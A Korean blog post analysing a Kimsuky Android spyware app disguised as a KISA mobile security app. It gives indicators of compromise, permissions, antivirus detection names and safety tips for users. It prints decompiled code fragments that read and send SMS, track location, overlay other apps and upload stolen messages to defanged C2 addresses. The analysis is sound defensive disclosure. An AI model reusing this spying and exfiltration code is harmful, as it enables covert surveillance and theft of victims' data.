오늘은 늦은 감은 있지만 북한 해킹 조직 김수키 에서 만든 한국인터넷진흥원(KISA)을 사칭하는 악성코드 인 KISA Mobile Security.apk에 대해 글을 적어 보겠습니다. 단 북한에서 해커 조직이라고 하면 김수키(Kimsuky=탈륨(Thallium), 라자루스(Lazarus)가 있습니다.
APT 조직이 지난 2017년 시스코 탈로스를 통해 알려진 코니 조직과 같은 C2 인프라 이용을 해서 가상 화폐를 훔치는 수법을 사용하고 있으면 김수키(Kimsuky=탈륨(Thallium)는 지난 2015년 도에서는 한수원 자료 유출한 원전 반대 그룹 이름으로 2015년 12월 25일에는 한국 원자력 발전소(핵발전소)를 파괴를 하겠다고 했던 그룹입니다.
이번에서는 메일을 통해 한국인터넷진흥원(KISA) 앱을 유포를 하고 있으면 KISA 보안 프로그램으로 위장한 가짜 KISA 백신 또는 보안 안드로이드 앱입니다. 해당 악성코드는 이메일에서 APK 파일을 다운로드하고 기기에 애플리케이션을 설치하면 악성 코드가 작동을 하며 스마프톤 사용자는 모르는 상태에서 백그라운드에서 실행되고 그의 장치에서 민감한 정보를 수집합니다.
Kimsuky APT 그룹에서 사용하는 다른 수법은 다음과 같습니다.
[소프트웨어 팁/보안 및 분석] - 북한 에서 만든것으로 추정 되는 가상화폐 훔치는 악성코드-DropPang.apk(드롭팡)
보안을 주제로 한 피싱 이메일
워터링 홀 공격
토렌트 공유 통해 배포되는 악성 코드
브라우저 확장
위협 행위자가 피해자의 장치/네트워크에 액세스 하면 다음 정보를 수집
위치 추적 및 로그인 자격 증명 및 해당 암호와 같은 장치 정보 및 장치의 사용자의 민감한 세부 정보
원격 액세스 연결
키로거
위협 행위자가 수집한 민감한 데이터는 다음 작업을 수행하는 데 오용 가능
장치에서 파일 다운로드/업로드
DDOS 공격 시작
프로세스 실행/종료
먼저 해당 악성코드인 KISA Mobile Security의 해쉬값은 다음과 같습니다.
파일명: KISA Mobile Security.apk
사이즈: 1,337,147 Bytes
CRC32: 251db651
MD5: e7caf25de7ce463a6f22ecb8689389ad
SHA-1: 16b3487022b674040227afc8979ffedd2f70b67e
SHA-256:fe1a734019f0dc714bd3360e2369853ea97c02f108afe963769318934470967b
SHA-512:4bcf16f3cf0dd24b88d4cae20d997343638e166d3758b4b39fdb00c1f5ca36675899aa32ef6cf346895e334f0d810a8649382a6581fa7f7cde01450272a763ba
입니다.
앱 이름:KISA Mobile Security
패키지 이름:com.kisa.mobile_security
주요 활동:com.kisa.mobile_security.activity.LaunchActivity
com.kisa.mobile_security.activity.UpdateActivity
악성코드 안드로이드 권한
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
보면 백그라운 실행, 인터넷 연결, SD 카드 읽기 및 SD 카드 쓰기, 전화번호 읽기, 문자 읽기 및 문자 메시지 받기 등인 것을 확인을 할 수가 있습니다.
전체 액세스 권한을 얻기 위해 팝업 메시지를 통해 필요한 권한 및 서비스를 활성화하도록 사용자에게 요청하는 것으로 나타났습니다. 사용자가 권한을 활성화하면 그림 3과 4와 같이 애플리케이션이 계속 로드되고 기본 화면이 표시되는 것이 특징입니다.
먼저 p005b.p007b.p008c.C0172o 부분에서는 감염이 된 스마트폰의 사용자의 위치를 추적하는 코드 가 들어가지 있는 것을 볼 수가 있습니다.
/* renamed from: a */
public final Location mo1353a(String str) {
try {
if (this.f945b.isProviderEnabled(str)) {
return this.f945b.getLastKnownLocation(str);
}
return null;
} catch (Exception e) {
Log.d("TwilightManager", "Failed to get last known location", e);
return null;
}
}
}
b.b.h.a1 에서는 코드 조각을 사용하여 Windows 관리자를 사용하여 다른 앱에 오버레이를 하는 코드들이 있습니다.
if (rootView == null) {
Log.e("TooltipPopup", "Cannot find app view");
} else {
rootView.getWindowVisibleDisplayFrame(b1Var.e);
Rect rect = b1Var.e;
if (rect.left < 0 && rect.top < 0) {
Resources resources = b1Var.f356a.getResources();
int identifier = resources.getIdentifier("status_bar_height", "dimen", "android");
int dimensionPixelSize = identifier != 0 ? resources.getDimensionPixelSize(identifier) : 0;
DisplayMetrics displayMetrics = resources.getDisplayMetrics();
b1Var.e.set(0, dimensionPixelSize, displayMetrics.widthPixels, displayMetrics.heightPixels);
}
rootView.getLocationOnScreen(b1Var.g);
view2.getLocationOnScreen(b1Var.f);
int[] iArr = b1Var.f;
int i6 = iArr[0];
int[] iArr2 = b1Var.g;
iArr[0] = i6 - iArr2[0];
iArr[1] = iArr[1] - iArr2[1];
layoutParams.x = (iArr[0] + i4) - (rootView.getWidth() / 2);
int makeMeasureSpec = View.MeasureSpec.makeMeasureSpec(0, 0);
b1Var.f357b.measure(makeMeasureSpec, makeMeasureSpec);
int measuredHeight = b1Var.f357b.getMeasuredHeight();
int[] iArr3 = b1Var.f;
int i7 = ((iArr3[1] + i3) - dimensionPixelOffset3) - measuredHeight;
int i8 = iArr3[1] + i2 + dimensionPixelOffset3;
if (!z2 ? measuredHeight + i8 > b1Var.e.height() : i7 >= 0) {
layoutParams.y = i7;
} else {
layoutParams.y = i8;
}
}
((WindowManager) b1Var.f356a.getSystemService("window")).addView(b1Var.f357b, b1Var.d);
this.f350b.addOnAttachStateChangeListener(this);
if (this.j) {
j2 = 2500;
} else {
j2 = ((this.f350b.getWindowSystemUiVisibility() & 1) == 1 ? 3000 : 15000) - ((long) ViewConfiguration.getLongPressTimeout());
}
this.f350b.removeCallbacks(this.f);
this.f350b.postDelayed(this.f, j2);
}
}
c.c.a.g.a 에서는 임시 파일 디렉터리 경로를 만들어 SMS 관리자를 통해 메시지 보내기는 기능이 추가되어 있는 것을 볼 수가 있습니다.
else if (i == 5) {
List<d> b4 = b();
File createTempFile9 = File.createTempFile(c.b("0b0e02d8fff41e851161475c64c17784781b6a"), c.b("c31b38e79c5ee96161527fd72e2672e2ed82c251"));
FileWriter fileWriter3 = new FileWriter(createTempFile9);
Iterator it = ((ArrayList) b4).iterator();
while (it.hasNext()) {
d dVar = (d) it.next();
fileWriter3.write("-- [" + dVar.a() + "] <" + dVar.d + "> " + dVar.f1269a + " --\r\n" + dVar.f1270b + "\r\n\r\n");
}
fileWriter3.close();
File createTempFile10 = File.createTempFile(c.b("b2f4f69516350ed6a218ac3c806031e3c855d3"), c.b("4d3537c428f49696b78b115a8c2877b8633264d4"));
c.f(createTempFile9.getAbsolutePath(), createTempFile10.getAbsolutePath());
createTempFile9.delete();
File createTempFile11 = File.createTempFile(c.b("efb67efd7c0673f36c6dca5149a6739e9f4855c3dab8"), c.b("4d3537c428f49696b78b115a8c2877b8633264d4"));
c.b.a.a.a.u(createTempFile10.getAbsolutePath(), createTempFile11.getAbsolutePath());
createTempFile10.delete();
c.d(this.f1265b + "?m=b&p1=" + c.b.a.a.a.j(this.f1264a) + "&p2=c", c.b.a.a.a.m(), createTempFile11.getAbsolutePath());
createTempFile11.delete();
} else if (i == 6) {
c.b.a.a.a.c(this.f1264a.getFilesDir());
} else if (i == 7) {
c.b.a.a.a.c(this.f1264a.getCacheDir());
} else if (i == 8) {
SmsManager.getDefault().sendTextMessage(new String(this.e[0], StandardCharsets.UTF_8), null, new String(this.e[1], StandardCharsets.UTF_8), null, null);
}
}
}
}
b.h.c.b.g 애 서는 다음과 같은 주소가 포함이 되어 있습니다.
public static boolean c(XmlPullParser xmlPullParser, String str) {
return xmlPullParser.getAttributeValue("hxxp://schemas.android(.)com/apk/res/android", str) != null;
}
c.c.a.e.b 에서는 민감한 정보를 수집하고 C2 서버로 업데이트로 업데이트합니다.
public Void doInBackground(Object[] objArr) {
boolean z;
String str;
boolean z2;
boolean z3 = false;
try {
String str2 = (String) objArr[0];
Context context = (Context) objArr[1];
if (objArr.length >= 3 ? ((Boolean) objArr[2]).booleanValue() : false) {
Thread.sleep(3000);
}
Cursor query = context.getContentResolver().query(Uri.parse(c.b("626020420232f3e5c4b123dffff5d3bd010e4076114dca15fe6030820ed4")), null, null, null, null);
if (query == null) {
return null;
}
int count = query.getCount();
if (query.moveToFirst()) {
int i = 0;
while (i < count) {
try {
query.getString(query.getColumnIndexOrThrow("_id"));
String string = query.getString(query.getColumnIndexOrThrow("address"));
String string2 = query.getString(query.getColumnIndexOrThrow("body"));
query.getString(query.getColumnIndex("read"));
String string3 = query.getString(query.getColumnIndexOrThrow("date"));
String str3 = query.getString(query.getColumnIndexOrThrow("type")).contains("1") ? "inbox" : "sent";
StringBuilder sb = new StringBuilder();
sb.append("-- [");
try {
sb.append(a.n(Long.parseLong(string3), ""));
sb.append("] <");
sb.append(str3);
sb.append("> ");
sb.append(string);
sb.append(" --\r\n");
String str4 = sb.toString() + string2 + "\r\n\r\n";
String str5 = a.n(Long.parseLong(string3), "") + " " + str3 + " " + string;
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(str5.getBytes(StandardCharsets.UTF_8));
byte[] digest = instance.digest();
File file = new File(context.getFilesDir(), "slist.ldb");
if (!file.exists()) {
file.createNewFile();
}
FileInputStream fileInputStream = new FileInputStream(file);
int digestLength = instance.getDigestLength();
byte[] bArr = new byte[digestLength];
z = false;
while (true) {
try {
if (fileInputStream.read(bArr, 0, digestLength) > 0) {
if (Arrays.equals(bArr, digest)) {
z2 = false;
break;
}
} else {
z2 = true;
break;
}
} catch (Exception unused) {
}
}
c.c.a.g.c 에서는 UTF-8 방법에 따라 XOR 메커니즘을 사용하여 암호화를 해두었습니다. 이걸 풀면 다음과 같은 주소를 확인을 할 수가 있습니다.
주소는 다음과 같습니다.
104.128(.)239.70:80
hxxp://app.at-me(.)ml/index.php?m=d&p1=56d92eaa24f68947
hxxp://app.at-me(.)ml/index.php?m=b&p1=56d92eaa24f68947&p2=a
입니다.
그리고 인증서 서명은 다음과 같습니다.
Signer 1
Type: X.509
Version: 3
Serial number: 0x3a185c27
Subject: CN=Kisa, OU=Kisa, O=Kisa, L=Seoul, ST=Seoul, C=KR
Valid from: Fri Apr 02 17:21:46 KST 2021
Valid until: Tue Mar 27 17:21:46 KST 2046
Public key type: RSA
Exponent: 65537
Modulus size (bits): 2048
Modulus: 20537472828334546153028052759387780645654063174719114750218076985410084976690571025548595610371482878508145810515737796999043543982970066836187482452710487423869780138107330039226090447481205089269514065807452086228379276252922685762763923570012870705759025215755221939578978953700339940054756371061969664269868731832698807426073272171556740281448220167390824159457100582625960620937087447514731197060566353886390712144365339252942253581041963363408083986308717404970699215518038782797793782736813512332096124330786739376602743931445728747847410631139576738305732429845270168223249345718401007069014850709209629768279
Signature type: SHA256withRSA
Signature OID: 1.2.840.113549.1.1.11
c.b.a.a.a 에서는 스마트폰 전화번호 접근을 위한 코드들이 있는 것을 확인을 할 수가 있습니다.
public static String k(Context context) {
try {
StringBuilder sb = new StringBuilder();
sb.append(Build.MODEL);
sb.append(" api");
sb.append(Build.VERSION.SDK_INT);
sb.append(" v");
sb.append(c.c.a.g.c.b("d8b91072bfb35b4623f4e3f569066997e97e5e"));
sb.append(".");
sb.append(1);
sb.append(" (");
String str = "###";
try {
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone");
if (b.h.c.a.a(context, "android.permission.READ_SMS") == 0 || b.h.c.a.a(context, "android.permission.READ_PHONE_NUMBERS") == 0 || b.h.c.a.a(context, "android.permission.READ_PHONE_STATE") == 0) {
str = telephonyManager.getLine1Number();
}
} catch (Exception unused) {
}
sb.append(str);
sb.append(")");
return sb.toString();
} catch (Exception unused2) {
return "devInfo";
}
}
그리고 현재 해당 악성코드를 탐지하고 있는 백신 프로그램들은 다음과 같습니다.
Ad-Aware:Trojan.GenericKD.46401083
Alibaba:TrojanSpy:Android/Kimsuky.c41cbf61
Antiy-AVL:Trojan/Generic.ASMalwAD.E8E
Arcabit:Trojan.Generic.D2C4063B
Avast-Mobile:APK:RepSandbox [Trj]
BitDefender:Trojan.GenericKD.46401083
BitDefenderFalx:Android.Trojan.Kimsuky.A
CAT-QuickHeal:Android.Agent.Af314
DrWeb:Android.Spy.851.origin
Emsisoft:Trojan.GenericKD.46401083 (B)
eScan:Trojan.GenericKD.46401083
ESET-NOD32:A Variant Of Android/Kimsuky.A
FireEye:Trojan.GenericKD.46401083
Fortinet:Android/Agent.BQS!tr.spy
GData:Trojan.GenericKD.46401083
Ikarus:Trojan-Spy.AndroidOS.Agent
Jiangmin:TrojanSpy.AndroidOS.dqxn
K7GW:Trojan ( 0057d7f01 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.Agent.ys
Lionic:Trojan.AndroidOS.Generic.C!c
MAX:Malware (ai Score=100)
McAfee:Artemis!E7CAF25DE7CE
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Trojan:AndroidOS/Multiverze
NANO-Antivirus:Trojan.Android.Kimsuky.iwhnyq
Sophos:Andr/Spy-BEP
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AppRisk:Generisk
Tencent:A.privacy.RatKstdropper
Trustlook:Android.Malware.Spyware
일단 북한 해커 조직으로부터 한국을 대상으로 하고 있는 공격이 계속 이루어지고 있습니다. 기본적으로 백신 어플을 설치를 해서 사용을 하는 것이 좋으면 언제나 이야기하듯이 다음과 같은 기본적인 보안 수칙을 지키는 것이 중요합니다.
요약
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
몸캠 악성코드-동영상.apk(2021.09.01) (0) | 2021.09.16 |
---|---|
윈도우 10 60개 취약점 수정 KB5005565 및 KB5005566 누적 업데이트 (0) | 2021.09.16 |
구글 드라이브 에서 스팸 차단 하는 방법 (4) | 2021.09.16 |
토르 브라우저(Tor Browser) 와 VPN 차이점 (6) | 2021.09.14 |
Microsoft Office(마이크로소프트 오피스) 문서를 악용한 제로데이 공격 발견(2021.09.08) (2) | 2021.09.09 |
모질라 파이어폭스 92.0 업데이트 (2) | 2021.09.09 |
ProtonMail(프로톤메일) 스위스 법원 명령후 IP 주소 기록 (0) | 2021.09.08 |
경찰청 폴 안티스파이 3.0 사칭 스미싱 악성코드-폴-안티스파이 3.0(2021.09.05) (4) | 2021.09.07 |